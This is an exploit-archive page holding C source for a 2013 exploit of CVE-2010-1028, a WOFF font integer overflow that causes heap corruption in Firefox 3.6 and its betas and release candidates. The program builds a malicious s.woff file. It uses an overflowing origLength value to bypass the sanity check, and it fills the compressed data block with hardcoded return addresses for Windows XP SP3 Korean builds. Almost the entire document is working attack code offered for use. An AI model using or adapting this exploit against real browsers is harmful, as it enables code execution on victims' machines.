Mozilla Firefox 3.6 - Integer Overflow Exploit

2013-08-19T00:00:00
ID 1337DAY-ID-21132
Type zdt
Reporter x90c
Modified 2013-08-19T00:00:00

Description

This exploit leverages WOFF heap corruption due to an integer overflow in Mozilla Firefox versions 3.6, 3.6 Beta 1, 3, 4, and 5, 3.6 RC1 and RC2.

                                        
                                            #include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <zlib.h>
 
/*
    x90c WOFF 1day exploit
 
    (MFSA2010-08 WOFF Heap Corruption due to Integer Overflow 1day exploit)
 
    CVE-ID: CVE-2010-1028
 
    Full Exploit: http:/www.exploit-db.com/sploits/27698.tgz
 
    Affacted Products:
        - Mozilla Firefox 3.6 ( Gecko 1.9.2 )
        - Mozilla Firefox 3.6 Beta1, 3, 4, 5 ( Beta2 ko not released )
        - Mozilla Firefox 3.6 RC1, RC2
 
    Fixed in:
        - Mozilla Firefox 3.6.2 ( after 3.6 version this bug fixed )
  
    security bug credit: Evgeny Legerov < intevydis.com >
  
    Timeline:
        2010.02.01 - Evengy Legerov Initial discovered and shiped it into
                     "Immunity 3rd Party Product VulnDisco 9.0"
                     https://forum.immunityinc.com/board/thread/1161/vulndisco-9-0/
        2010.02.18 - without reporter, it self analyzed
                     and contact to mozilla and secunia before advisory reporting
                     http://secunia.com/advisories/38608
        2010.03.19 - CVE registered
                     http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2010-1028
        2010.03.22 - Mozilla advisory report
                     http://www.mozilla.org/security/announce/2010/mfsa2010-08.html
        2010.04.01 - x90c exploit (x90c.org)
  
    Compile:
    [[email protected] woff]# gcc CVE-2010-1028_exploit.c -o CVE-2010-1028_exploit -lz
 
 
    rebel: greets to my old l33t hacker dude in sweden
    ... BSDaemon: and Invitation of l33t dude for exploit share
    #[email protected], #[email protected]
 
 
    x90c
     
*/
 
typedef unsigned int    UInt32;
typedef unsigned short  UInt16;
 
/*
    for above two types, some WOFF header struct uses big-endian byte order.
*/
 
typedef struct
{
    UInt32  signature;
    UInt32  flavor;
    UInt32  length;
    UInt16  numTables;
    UInt16  reserved;
    UInt32  totalSfntSize;
    UInt16  majorVersion;
    UInt16  minorVersion;
    UInt32  metaOffset;
    UInt32  metaLength;
    UInt32  metaOrigLength;
    UInt32  privOffset;
    UInt32  privLength;
} WOFF_HEADER; 
 
typedef struct
{
    UInt32  tag;
    UInt32  offset;
    UInt32  compLength;
    UInt32  origLength;
    UInt32  origChecksum;
} WOFF_DIRECTORY;
 
#define FLAVOR_TRUETYPE_FONT    0x0001000
#define FLAVOR_CFF_FONT         0x4F54544F
 
struct ff_version
{
    int num;
    char *v_nm;
    unsigned long addr;
};
 
struct ff_version plat[] =
{
{
    0, "Win XP SP3 ko - FF 3.6", 0x004E18ED
},
{
    1, "Win XP SP3 ko - FF 3.6 Beta1", 0x004E17BD
},
{
    2, "Win XP SP3 ko - FF 3.6 Beta3", 0x004E193D
},
{
    3, "Win XP SP3 ko - FF 3.6 Beta4", 0x004E20FD
},
{
    4, "Win XP SP3 ko - FF 3.6 Beta5", 0x600A225D
},
{
    5, "Win XP SP3 ko - FF 3.6 RC1", 0x004E17BD
},
{
    6, "Win XP SP3 ko - FF 3.6 RC2", 0x004E18ED
},
{
    0x00, NULL, 0x0
}
};
 
void usage(char *f_nm)
{
    int i = 0;
 
    fprintf(stdout, "\n Usage: %s [Target ID]\n\n", f_nm);
     
    for(i = 0; plat[i].v_nm != NULL; i++)
        fprintf(stdout, "\t{%d} %s. \n", (plat[i].num), (plat[i].v_nm));
 
    exit(-1);
}
 
int main(int argc, char *argv[]) {
    WOFF_HEADER    woff_header;
    WOFF_DIRECTORY woff_dir[1];
    FILE *fp;
    char dataBlock[1024];
    char compressed_dataBlock[1024];
    char de_buf[1024];
    int total_bytes = 0, total_dataBlock = 0;  
    unsigned long destLen = 1024;
    unsigned long de_Len = 1024;
    unsigned long i = 0;
    unsigned long addr_saved_ret_val = 0;
    int ret = 0;
    int n = 0;
 
    if(argc < 2)
        usage(argv[0]);
 
    n = atoi(argv[1]);
 
    if(n < 0 || n > 6)
    {
        fprintf(stderr, "\nTarget number range is 0-6!\n");
        usage(argv[0]);
    }
 
    printf("\n#### x90c WOFF exploit ####\n");
    printf("\nTarget: %d - %s\n\n", (plat[n].num), (plat[n].v_nm));
 
    // WOFF HEADER
    woff_header.signature = 0x46464F77;         // 'wOFF' ( L.E )
    woff_header.flavor = FLAVOR_TRUETYPE_FONT;  // sfnt version ( B.E )
    woff_header.length = 0x00000000;            // woff file total length ( B.E )
    woff_header.numTables = 0x0100;             // 0x1 - woff dir entry length ( B.E )
    woff_header.reserved = 0x0000;              // res bit ( all zero )
 
    // totalSFntSize value will bypass validation condition after integer overflow
    woff_header.totalSfntSize = 0x1C000000;     // 0x0000001C ( B.E )
    woff_header.majorVersion = 0x0000;          // major version
    woff_header.minorVersion = 0x0000;          // minor version
    woff_header.metaOffset = 0x00000000;        // meta data block offset ( not used )
    woff_header.metaLength = 0x00000000;        // meta data block length ( not used )
    woff_header.metaOrigLength = 0x00000000;    // meta data block before-compresed length ( not used )
    woff_header.privOffset = 0x00000000;        // Private data block offset ( not used )
    woff_header.privLength = 0x00000000;        // Private data block length
 
    woff_dir[0].tag = 0x54444245;               // 'EBDT' ( B.E )
    woff_dir[0].offset = 0x40000000;            // 0x00000040 ( B.E )
    woff_dir[0].compLength = 0x00000000;        // ( B.E )
 
    // to trigger field bit.
    // 0xFFFFFFF8-0xFFFFFFFF value to trigger integer overflow.
    // 1) calculation result is 0, it's bypass to sanityCheck() function
    // 2) passed very long length into zlib Decompressor, it's trigger memory corruption!
 
    // 0xFFFFFFFD-0xFFFFFFFF: bypass sanityCheck()
    // you can use only the value of 0xFFFFFFFF ( integer overflow!!! )
    // you can't using other values to bypass validation condition
    woff_dir[0].origLength = 0xFFFFFFFF;        // 0xFFFFFFFF ( B.E )
 
    printf("WOFF_HEADER     [ %d bytes ]\n", sizeof(WOFF_HEADER));
    printf("WOFF_DIRECTORY  [ %d bytes ]\n", sizeof(WOFF_DIRECTORY));
 
    // to compress data block
    // [ 0x0c0c0c0c 0x0c0c0c0c 0x0c0c0c0c ... ]
    // ...JIT spray stuff...
 
    addr_saved_ret_val = plat[n].addr;
    addr_saved_ret_val += 0x8;  // If add 8bytes it reduced reference error occurs
 
    for(i = 0; i < sizeof(dataBlock); i+=4)  // 0x004E18F5
    {
        dataBlock[i+0] = (addr_saved_ret_val & 0x000000ff);
        dataBlock[i+1] = (addr_saved_ret_val & 0x0000ff00) >> 8;
        dataBlock[i+2] = (addr_saved_ret_val & 0x00ff0000) >> 16;
        dataBlock[i+3] = (addr_saved_ret_val & 0xff000000) >> 24;
    }
 
    // compress dataBlock with zlib's compress()
    if(compress((Bytef *)compressed_dataBlock,
                 (uLongf *)&destLen,
                 (Bytef *)dataBlock,
                 (uLong)(sizeof(dataBlock))
                 ) != Z_OK)
    {
        fprintf(stderr, "Zlib compress failed!\n");
        exit(-1);
    }
     
    printf("\nZlib compress(dataBlock) ...\n");
    printf("DataBlock                   [ %u bytes ]\n", sizeof(dataBlock));
    printf("Compressed DataBlock        [ %u bytes ]\n", destLen);
    printf("[ Z_OK ]\n\n");
 
    total_bytes = sizeof(WOFF_HEADER) +
                  sizeof(WOFF_DIRECTORY) +
                  destLen;
 
    total_dataBlock = destLen;
 
    printf("Total WOFF File Size: %d bytes\n", total_bytes);
     
    // byte order change to total_bytes, total_dataBlock ( L.E into B.E )
    total_bytes =
        ((total_bytes & 0xff000000) >> 24) |
        ((total_bytes & 0x00ff0000) >> 8) |
        ((total_bytes & 0x0000ff00) << 8) |
        ((total_bytes & 0x000000ff) << 24);
    woff_header.length = total_bytes;
 
    total_dataBlock =
        ((total_dataBlock & 0xff000000) >> 24) |
        ((total_dataBlock & 0x00ff0000) >> 8) |
        ((total_dataBlock & 0x0000ff00) << 8) |
        ((total_dataBlock & 0x000000ff) << 24);
 
    woff_dir[0].compLength = total_dataBlock;
 
    // create attack code data
    if((fp = fopen("s.woff", "wb")) < 0)
    {
        fprintf(stderr, "that file to create open failed\n");
        exit(-2);
    }
 
    // setup WOFF data store
    fwrite(&woff_header, 1, sizeof(woff_header), fp);
    fwrite(&woff_dir[0], 1, sizeof(woff_dir[0]), fp);
    fwrite(&compressed_dataBlock, 1, destLen, fp);
 
    fclose(fp);
 
    // zlib extract test
    ret = uncompress(de_buf, &de_Len, compressed_dataBlock, destLen);
    if(ret != Z_OK)
    {
        switch(ret)
        {
            case Z_MEM_ERROR:
                printf("Z_MEM_ERROR\n");       
                break;
            case Z_BUF_ERROR:
                printf("Z_BUF_ERROR\n");
                break;
            case Z_DATA_ERROR:
                printf("Z_DATA_ERROR\n");
                break;
        }
 
        fprintf(stderr, "Zlib uncompress test failed!\n");
        unlink("./s.woff");
        exit(-3);
    }
 
    printf("\nZlib uncompress test(compressed_dataBlock) ...\n");
    printf("[ Z_OK ]\n\n");
 
    return 0;
}
 
/* eof */

#  0day.today [2018-04-08]  #